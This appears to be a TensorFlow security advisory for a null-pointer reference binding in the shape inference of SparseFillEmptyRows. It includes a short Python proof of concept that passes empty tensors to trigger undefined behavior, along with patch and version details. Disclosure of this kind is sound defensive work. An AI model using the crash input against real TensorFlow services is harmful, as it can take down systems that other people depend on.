Reference binding to nullptr in shape inference
### Impact
An attacker can cause undefined behavior via binding a reference to null pointer in `tf.raw_ops.SparseFillEmptyRows`:
```python
import tensorflow as tf
tf.compat.v1.disable_v2_behavior()
tf.raw_ops.SparseFillEmptyRows(
indices = tf.constant([], shape=[0, 0], dtype=tf.int64),
values = tf.constant([], shape=[0], dtype=tf.int64),
dense_shape = tf.constant([], shape=[0], dtype=tf.int64),
default_value = 0)
```
The shape inference implementation
https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/core/ops/sparse_ops.cc#L608-L634 does not validate that the input arguments are not empty tensors.
### Patches
We have patched the issue in GitHub commit 578e634b4f1c1c684d4b4294f9e5281b2133b3ed
https://github.com/tensorflow/tensorflow/commit/578e634b4f1c1c684d4b4294f9e5281b2133b3ed.
The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.
### For more information
Please consult our security guide
https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by Yakun Zhang of Baidu Security